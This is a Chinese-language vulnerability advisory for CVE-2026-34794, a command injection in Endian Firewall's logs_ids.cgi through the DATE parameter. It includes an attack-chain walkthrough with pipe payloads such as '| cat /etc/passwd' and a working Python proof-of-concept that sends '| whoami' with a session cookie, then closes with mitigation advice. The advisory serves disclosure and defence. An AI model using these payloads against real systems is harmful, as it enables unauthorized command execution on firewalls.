IPBUF安全漏洞报告
English
CVE-2026-34794 CVSS 8.8 高危

CVE-2026-34794: Endian Firewall 命令注入漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34794
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Endian Firewall

相关标签

命令注入RCEEndian FirewallCVE-2026-34794CGIPerl

漏洞概述

Endian Firewall 3.3.25及之前版本存在严重的安全漏洞。由于`/cgi-bin/logs_ids.cgi`接口对用户输入的`DATE`参数验证不充分,经过身份认证的攻击者可以利用该漏洞,通过构造特定的恶意参数值绕过正则表达式验证。该参数值被用于构建文件路径并传递给Perl的`open()`函数,从而导致操作系统命令注入。成功利用此漏洞可能导致攻击者以应用程序权限执行任意系统命令,完全控制受影响的服务器,造成数据泄露、系统破坏等严重后果。

技术细节

该漏洞的根源在于Endian Firewall的Web管理界面中,处理日志请求的Perl CGI脚本(`/cgi-bin/logs_ids.cgi`)未能正确过滤用户输入。具体来说,脚本接收`DATE`参数,该参数原本用于指定日志日期以构建文件路径。代码试图使用正则表达式来验证输入,但该正则表达式存在逻辑缺陷或覆盖不全,未能过滤掉管道符(`|`)或其他Shell元字符。当攻击者发送包含恶意命令的请求时,例如将`DATE`参数设置为`filename | command`,由于Perl的`open()`函数在处理文件名时,如果包含管道符,会开启一个管道进程而非仅仅打开文件。攻击者利用这一特性,可以将恶意命令注入到系统Shell中执行。由于该接口需要低权限用户认证,攻击者首先需要获取一个有效的账号(如普通用户权限),随后发送特制的HTTP POST或GET请求触发漏洞,进而提升权限或维持对系统的持久化访问。

攻击链分析

STEP 1
侦察与认证
攻击者识别目标为Endian Firewall,并获取低权限用户的Web管理界面凭证。
STEP 2
构建恶意载荷
攻击者构造包含管道符(|)和系统命令的`DATE`参数值,例如 `2023-01-01 | cat /etc/passwd`。
STEP 3
发送漏洞利用请求
攻击者向`/cgi-bin/logs_ids.cgi`发送包含恶意参数的HTTP POST请求,携带有效的会话Cookie。
STEP 4
执行注入命令
服务器端脚本将`DATE`参数传递给Perl的`open()`函数,由于过滤不严,管道符触发命令执行,返回结果给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual target) target_url = "http://example.com/cgi-bin/logs_ids.cgi" # Attacker's authenticated session cookie # Exploitation requires valid authentication (PR:L) cookies = { "EFW_SID": "valid_session_id_here" } # The vulnerable parameter is 'DATE'. # Perl's open() function interprets the pipe '|' as a command injection. # Payload format: [valid_date_format] | [command] payload_data = { "DATE": "2023-01-01 | whoami" } try: response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) # Check if the command output is present in the response if "root" in response.text or "www-data" in response.text: print("[!] Command injection likely successful.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Endian Firewall <= 3.3.25

防御指南

临时缓解措施
如果无法立即升级,建议管理员临时禁用受影响的CGI脚本或通过Web服务器配置阻止对`/cgi-bin/logs_ids.cgi`的访问。同时,应审查系统日志,检查是否存在针对该接口的异常访问记录或已执行的恶意命令。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表